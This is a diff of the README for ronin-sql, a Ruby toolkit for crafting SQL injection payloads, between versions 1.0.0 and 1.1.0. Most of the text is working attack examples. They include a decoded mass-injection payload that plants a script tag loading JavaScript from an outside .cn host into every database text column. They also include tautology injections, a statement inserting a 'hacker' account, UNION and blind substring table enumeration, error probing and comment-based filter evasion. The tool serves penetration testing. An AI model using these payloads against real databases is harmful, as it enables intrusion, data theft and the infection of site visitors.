README.md in ronin-sql-1.0.0 vs README.md in ronin-sql-1.1.0
- old
+ new
@@ -6,17 +6,17 @@
* [Mailing List](https://groups.google.com/group/ronin-ruby)
* [irc.freenode.net #ronin](http://webchat.freenode.net/?channels=ronin&uio=Mj10cnVldd)
## Description
-{Ronin::SQL} is a Ruby DSL for crafting SQL Injections (SQLi).
+{Ronin::SQL} is a Ruby DSL for crafting [SQL Injections (SQLi)][SQLi].
### Features
* Provides convenience methods for encoding/decoding SQL data.
* Provides an Domain Specific Language (DSL) for crafting normal SQL and
- SQL injections.
+ [SQL injections][SQLi].
## Examples
### Convenience Methods
@@ -41,13 +41,20 @@
string.sql_decode
# => "DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=''\"></title><script src=\"http://www0.douhunqn.cn/csrss/w.js\"></script><!--''+['+@C+'] where '+@C+' not like ''%\"></title><script src=\"http://www0.douhunqn.cn/csrss/w.js\"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor"
### SQLi DSL
-Injecting a `1=1` test into a String value:
+Injecting a `1=1` test into a Integer comparison:
- sqli = Ronin::SQL::Injection.new(:escape => :string)
+ sqli = Ronin::SQL::Injection.new
+ sqli.or { 1 == 1 }
+ puts sqli
+ # 1 OR 1=1
+
+Injecting a `1=1` test into a String comparison:
+
+ sqli = Ronin::SQL::Injection.new(escape: :string)
sqli.or { string(1) == string(1) }
puts sqli
# 1' OR '1'='1
Columns:
@@ -60,22 +67,75 @@
Clauses:
sqli = Ronin::SQL::Injection.new
sqli.or { 1 == 1 }.limit(0)
puts sqli
- # 1 AND admin=1
+ # 1 OR 1=1 LIMIT 0
Statements:
sqli = Ronin::SQL::Injection.new
+ sqli.and { 1 == 0 }
+ sqli.insert.into(:users).values('hacker','passw0rd','t')
+ puts sqli
+ # 1 AND 1=0; INSERT INTO users VALUES ('hacker','passw0rd','t')
+
+Sub-Statements:
+
+ sqli = Ronin::SQL::Injection.new
sqli.union { select(1,2,3,4,id).from(users) }
puts sqli
# 1 UNION SELECT (1,2,3,4,id) FROM users
-Filter evasion:
+Test if a table exists:
sqli = Ronin::SQL::Injection.new
+ sqli.and { select(count).from(:users) == 1 }
+ puts sqli
+ # 1 AND (SELECT COUNT(*) FROM users)=1
+
+Create errors by using non-existant tables:
+
+ sqli = Ronin::SQL::Injection.new(escape: :string)
+ sqli.and { non_existant_table == '1' }
+ puts sqli
+ # 1' AND non_existant_table='1
+
+Dumping all values of a column:
+
+ sqli = Ronin::SQL::Injection.new(escape: :string)
+ sqli.or { username.is_not(null) }.or { username == '' }
+ puts sqli
+ # 1' OR username IS NOT NULL OR username='
+
+Enumerate through database table names:
+
+ sqli = Ronin::SQL::Injection.new
+ sqli.and {
+ ascii(
+ lower(
+ substring(
+ select(:name).top(1).from(sysobjects).where { xtype == 'U' }, 1, 1
+ )
+ )
+ ) > 116
+ }
+ puts sqli
+ # 1 AND ASCII(LOWER(SUBSTRING((SELECT name TOP 1 FROM sysobjects WHERE xtype='U'),1,1)))>116
+
+Find user supplied tables via the `sysObjects` table:
+
+ sqli = Ronin::SQL::Injection.new
+ sqli.union_all {
+ select(1,2,3,4,5,6,name).from(sysObjects).where { xtype == 'U' }
+ }
+ puts sqli.to_sql(:terminate => true)
+ # 1 UNION ALL (SELECT (1,2,3,4,5,6,name) FROM sysObjects WHERE xtype='U');--
+
+Bypass filters using `/**/` instead of spaces:
+
+ sqli = Ronin::SQL::Injection.new
sqli.union { select(1,2,3,4,id).from(users) }
puts sqli.to_sql(:space => '/**/')
# 1/**/UNION/**/SELECT/**/(1,2,3,4,id)/**/FROM/**/users
## Requirements
@@ -104,7 +164,9 @@
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Ronin Asm. If not, see <http://www.gnu.org/licenses/>.
+
+[SQLi]: http://en.wikipedia.org/wiki/SQL_injection
[Ruby]: http://www.ruby-lang.org